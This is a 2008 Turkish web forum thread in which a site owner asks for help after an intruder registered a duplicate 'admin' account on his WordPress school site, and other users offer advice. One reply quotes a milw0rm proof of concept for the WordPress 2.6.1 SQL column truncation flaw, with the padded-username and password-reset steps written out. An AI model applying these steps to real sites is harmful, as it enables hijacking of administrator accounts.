hacked! admin kullanıcısı 2 tane oldu

08-09-2008, 23:00:42

Üyeliği durduruldu

Arkadaşlar kendini birşey sanan arkadaş

gelmiş admin kullanıcı ismiyle üye olmuş. Aynı kullanıcı ismi ile 2 kişi görünüyor ve giriş yapamıyordum. Sildim şifre değiştirdim. Ne önerirsiniz?

08-09-2008, 23:02:07

#2

Must4f4

Tüm dosyaların CHMOD ayarlarını 664 yap

08-09-2008, 23:03:37

#3

Priapos

bana da yaptı bir kere denio nun biri

birde üşenmemiş tüm postları editleyip hacked by denio yazmış

08-09-2008, 23:04:10

#4

~~teknotek~~

Üyeliği durduruldu

644

daha da mı düşüreyim

şu an üyeliği kapattım peşinden

ama okul sitesi millet üyelik nerde diye bağırıyor

08-09-2008, 23:04:37

#5

Must4f4

Priapos adlı üyeden alıntı: mesajı görüntüle

bana da yaptı bir kere denio nun biri

birde üşenmemiş tüm postları editleyip hacked by denio yazmış

Benim Beşiktaş ile ilgili açtığım siteye Bursasporlular aynısını yapmıştı

08-09-2008, 23:07:06

#6

~~teknotek~~

Üyeliği durduruldu

siz nasıl çözdünüz

08-09-2008, 23:17:39

#7

sosyopat

nasıl ya? ben şimdi anlamadım. birisi gelip wp sitemize "admin" kullanıcı adıyla kayıt olunca direk admin (yönetici) mi oluyor yani??

08-09-2008, 23:34:40

#8

Nusret

ewet aynen öyle adam register üye olurken
exploiti bu

# WordPress 2.6.1 SQL Column Truncation Vulnerability (PoC)
#
# found by irk4z[at]yahoo.pl
# homepage: http://irk4z.wordpress.com/
#
# this is not critical vuln [;
# 
# first, read this discovery:
# http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities/
#
# in this hack we can remote change admin password, if registration enabled
#
# greets: Stefan Esser, Lukasz Pilorz, cOndemned, tbh, sid.psycho, str0ke and all fiends

1. go to url: server.com/wp-login.php?action=register

2. register as:

login: admin                                                       x
email: your email

^ admin[55 space chars]x

now, we have duplicated 'admin' account in database

3. go to url: server.com/wp-login.php?action=lostpassword

4. write your email into field and submit this form

5. check your email and go to reset confirmation link

6. admin's password changed, but new password will be send to correct admin email ;/

# milw0rm.com [2008-09-07]

08-09-2008, 23:39:45

#9

samett1

yani "admin" nicki hemen biz yapalimki böyle olay basimiza gelmesin öylemi? veya baska bisey yapabilirmiyiz ?